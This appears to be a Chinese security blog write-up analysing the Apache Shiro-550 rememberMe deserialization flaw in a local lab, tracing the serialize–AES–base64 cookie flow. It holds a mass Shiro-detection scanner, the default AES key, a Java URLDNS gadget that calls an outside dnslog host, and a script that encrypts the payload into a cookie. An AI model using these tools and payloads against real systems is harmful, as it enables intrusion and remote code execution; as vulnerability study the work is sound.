JAVA安全-Shiro-550反序列化漏洞分析

JAVA安全-Shiro-550反序列化漏洞分析

原创 菜狗安全 菜狗安全 2024-05-20 22:12

点击上方蓝字·关注我们

免责声明











































使
























































文章目录

一、前置知识
    Shiro介绍
    漏洞环境搭建
二、漏洞利用及成因分析
    工具漏洞复现
    shiro检测
    shiro密钥
      调试中的小插曲
      加密流程分析   
    手工漏洞复现
三、总结

介绍

Shiro
是一个功能强大且易于使用的Java安全框架,用于身份验证、授权、加密和会话管理等安全领域。
它提供了一个全面的安全解决方案,可以集成到任何Java应用程序中,包括Web应用程序、RESTful服务、移动应用程序等。

以下是Shiro的一些主要功能和特点:
1. 身份验证(Authentication)
:Shiro可以处理用户的身份验证,支持多种认证方式,包括用户名密码认证、基于令牌的认证、LDAP认证等。

  1. 授权(Authorization)
    :Shiro提供了灵活的授权机制,可以通过简单的配置来定义用户对资源的访问权限,支持角色(Role)和权限(Permission)的管理。

  2. 加密(Cryptography)
    :Shiro提供了各种常见的加密算法和工具类,用于保护敏感数据的安全性,如密码加密、数据加密等。

  3. 会话管理(Session Management)
    :Shiro可以管理用户会话,包括Session的创建、销毁、过期处理等,同时支持分布式环境下的会话共享和集中管理。

  4. Web集成
    :Shiro提供了与各种Web框架的集成支持,包括Spring MVC、Struts、Servlet等,可以轻松地将Shiro集成到Web应用程序中进行安全控制。

  5. 易于扩展
    :Shiro的设计模式和API都非常灵活,易于扩展和定制,开发人员可以根据实际需求进行定制化开发,满足复杂的安全需求。

总的来说,Shiro是一个功能丰富、易于使用且灵活扩展的安全框架,为Java应用程序提供了全面的安全保护,帮助开发人员构建安全可靠的应用程序。

漏洞环境搭建

加载完成后,配置tomcat,添加工件

运行项目,如果报错检查SDK版本

启动项目后访问自己tomcat的端口跟上自己设置的路径访问,默认就是
http://localhost:8080/samples_web_war_exploded/
,返回下面页面即搭建完成

点击account page跳转到登入页面

我们这里简单看一下

既然是反序列化漏洞,那么得有我们能传入序列化字符串的地方吧,他这里有给几个测试账号,使用burp抓取一下登入数据包,登入的时候记得勾选Remember Me这个是保存登入信息的,勾选后会将Cookie写到客户端并保存下来,关闭浏览器再重新打开;会发现浏览器还是记住你的,这里各位可以自己做一下实验,不勾选Remember Me,登入,然后关闭浏览器重新访问看看是否要登入

我这里是勾选了,可以看到它的数据包中有个rememberMe字段,rememberMe=这个字段也是在黑盒情况下判断对方是否使用shiro的有个判断方式,这里我们可控的点就是这个rememberMe,等下分析一下这段数据是什么

漏洞复现

我们可以看一下网上关于shiro反序列化的利用,根据网上工具的利用顺序一步步剖析shiro反序列化漏洞的成因

第一步、打开shiro反序列化利用工具,输入目标url

第二步、检测密钥,它这里发现shiro框架,输入指定密钥

第三步、爆破密钥(因为我们不知道密钥嘛),它这里说爆破出了密钥

第四步、爆破利用链以及回显,它说发现构造链

第五步、使用工具执行命令,执行个计算器,发现成功执行

自此漏洞复现完成,我们来理一下漏洞复现流程

检测是否是shiro框架–>爆破密钥–>爆破利用链–>执行命令

这就是这个漏洞利用的一套完整流程了,那么接下来我们就根据这个流程一步步剖析它

Shiro检测

第一种:关于shiro的判断,前面也说到了,可以看数据包中是否存在rememberMe=

第二种:直接发送原数据包,返回的数据中不存在关键字,可以通过在发送数据包的cookie中增加字段:rememberMe=deleteMe,然后查看返回数据包中是否存在关键字。

这里给个检测shiro框架的py脚本

import requests
import sys,re
import threadpool
#from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()


def exp(line):
    header={
    'User-agent' : 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0;',
    'Cookie':'a=1;rememberMe=1'

    }

    check_one="rememberMe" #场景1
    check_two="deleteMe" #场景2

    isExist = False

    with open('ScanResult.txt',"a") as f:
        if 'http' not in line:
            line = 'http://'+line
        try:
            x = requests.head(line,headers=header,allow_redirects=False,verify=False,timeout=6) #场景4
            y = str(x.headers)
            z = checkRe(y)

            a = requests.head(line,headers=header,verify=False,timeout=6) #场景5
            b = str(a.headers)
            c = checkRe(b)

            if check_one in y or z or check_two in y or c:
                isExist = True

            if isExist:
                print("[+ "+"!!! 存在shiro: "+"状态码: "+str(x.status_code)+"   url: "+line)
                f.write(line+"\n")
            else:
                print("[- "+"不存在shiro  "+"状态码: "+str(x.status_code)+"  url: "+line)

        except Exception as httperror:
            print("[- "+"目标超时, 疑似不存活: "+"  url: "+line)



def checkRe(target): #场景3

    pattern = re.compile(u'^re(.*?)Me')
    result  = pattern.search(target)
    if result:
        return True
    else:
        return False

def multithreading(funcname, params=[], filename="ip.txt", pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")] + params

            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(funcname, works)

    [pool.putRequest(req) for req in reqs]
    pool.wait()

def main():
    multithreading(exp, [], "check_url.txt", 10)  # 默认15线程
    print("全部check完毕,请查看当前目录下的shiro.txt")


if __name__ == "__main__":
    main()

Shiro密钥

这个密钥是什么呢,这个就得分析一下rememberMe字段中的数据了

既然我们现在是要看rememberMe字段的数据是咋来的,就要知道是哪个方法操作它,在网上查看了资料后说是shiro登入成功后会触发rememberMeSuccessfulLogin方法,我们全局搜索这个方法

定位到rememberMeSuccessfulLogin方法,然后在这个方法这里下个断点动态调试一下数据操作的流程,数据是登入成功后获取的,那么我们浏览器登入一下

这里断点后以调试模式启动tomcat

调试中的小插曲

我这里遇到了个问题,调试模式启动的时候会报运行配置停止之前未连接应用程序服务器,原因: 无法在 localhost:1099 处 ping

解决方法

找到tomcat的配置文件catalina.bat,在bin目录下,打开找到

把红框框起来的这行删除,重新调试启动tomcat即可

加密流程分析

解决完问题后,我们接着跟代码

它这里触发了getRememberMeManager方法,我们看下这个方法是干什么的

它返回一个rememberMeManager赋值给rmm,然后判断rmm是否为空,这个rememberMeManager是判断我们在登入的时候有没有勾选Remember Me

接着会触发onSuccessfulLogin,它这里面有三个值subject, token, info,其中subject是判断勾选Remember Me
的,token还不是很清楚,info的值是root,是我们登入的用户名

接着来到login方法,看字面意思是处理登入的,我们接着往下跟

中间一大堆是处理http请求的代码,跟到convertPrincipalsToBytes它里面有个
serialize方法,我们跟进

这就是它实现序列化功能的代码了,shiro使用的是java自带的序列化接口,这里可以看到它序列化的内容是我们登入时的用户名,也就是说是我们可控的

serialize执行完后,返回了个bytes,那么这个应该就是序列化后的数据了,接着往下看,它接下来又会触发encrypt这个方法,字面意思应该是做加密的,并且可以看到它的参数是我们序列化后的字符串,跟进

这里又触发了一个encrypt方法,进入这个方法

执行到这一步,发现底下多了几个参数,我们看下

this中有个algorithmname,翻译一下是算法名称的意思,那么他这里采用的加密算法应该就是
AES了,在AES加密中有五种加密模式CBC,ECB,CTR,CFB,OFB,这里也提示了,使用的应该是
CBC加密模式,还有两个值keyivBytes,这个key字面意思应该就是AES加密的密钥了,ivbytes应该是加密时使用的偏移量(跟到后面发现没用上),我们继续往下

触发方法crypt方法

接着触发initNewCipher方法,这个方法里面用到了SecretKeySpec,它是执行密钥操作的,到这里就没必要继续跟了,它到最后还有一次base64加密,然后结果就是rememberMe字段中的数据了

到这里很清楚的,shiro数据的传输流程是

登入流程:登入数据 –> 序列化 –> AES加密 –> base64加密 –>rememberMe

认证流程 : rememberMe –> base64解密 –> AES解密 –>反序列化 –>登入数据

那么shiro的密钥实际上就是AES加密所使用的密钥,这里实验一下,刚刚在跟代码的时候获取的key的值是下面这个

[-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]

然后工具爆破出来的密钥是

kPH+bIxk5D2deZiIxcaaaA==

我们使用py脚本对获取到的ascii数组进行base64转换

import base64

ascii_array= [-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]
byte_array = [x +256 if x <0 else x for x in ascii_array]
byte_array = bytes(byte_array)
base64_array = base64.b64encode(byte_array)

print(base64_array)

执行出来的结果可以看到跟爆破出来的密钥是一样的,其实这个密钥在代码中是可以找到的,可以全局搜索DEFAULT_CIPHER_KEY_BYTES
关键字在这个文件中org/apache/shiro/mgt/AbstractRememberMeManager.java

手工漏洞复现

分析完成后,按照我们的思路就要开始构造利用链了

序列化数据构造

package com.example.javademo;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class SerializeDemo {
    public static void main(String[] args) throws Exception {

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        URL url = new URL("http://cwkhb.z9z.top"); //dnslogd地址
       
        //通过反射获取 hashCode方法
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCode.setAccessible(true);//绕过Java语言权限控制检查的权限
        hashCode.set(url,0xdeadbeef);//hashCode第一次默认为 -1 会触发执行dns payload,所以这里设置为任意值
        objectObjectHashMap.put(url,"time");//这里传入任意值,原因同上

        hashCode.set(url,-1);//重新设置为-1,确保反序列化能触发

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc.txt"));
        objectOutputStream.writeObject(objectObjectHashMap); //将序列化内容写入bin文件中
    }
}

执行完成后,生成cc.txt(序列化内容)

然后再使用py脚本对序列化数据进行AES和base64加密

from Crypto.Cipher import AES
import uuid
import base64


def convert_bin(file):
    with open(file, 'rb') as f:
        return f.read()


def AES_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()
    return ciphertext


if __name__ == "__main__":
    data = convert_bin("cc.txt")
    print(AES_enc(data))

运行后返回加密后的数据,我们把它替换到rememberMe字段中,测试


dnslog接收到请求,手工漏洞复现完成

总结

其实在上面已经说了,shiro-550反序列化漏洞的核心点是
rememberMe中的数据我们可控,数据采用的是AES加密,而密钥是默认的,所以懂得了它的加密流程和密钥后,我们就可以生成自己想实现功能的序列化字符串加密传输,到shiro中它会按照流程解密,触发我们想要触发的类,在shiro中它使用的是java官方的序列化接口,所以是属于java原生的反序列化漏洞利用。

shiro数据传输流程

登入流程:登入数据 –> 序列化 –> AES加密 –> base64加密 –>rememberMe

认证流程 : rememberMe –> base64解密 –> AES解密 –>反序列化 –>登入数据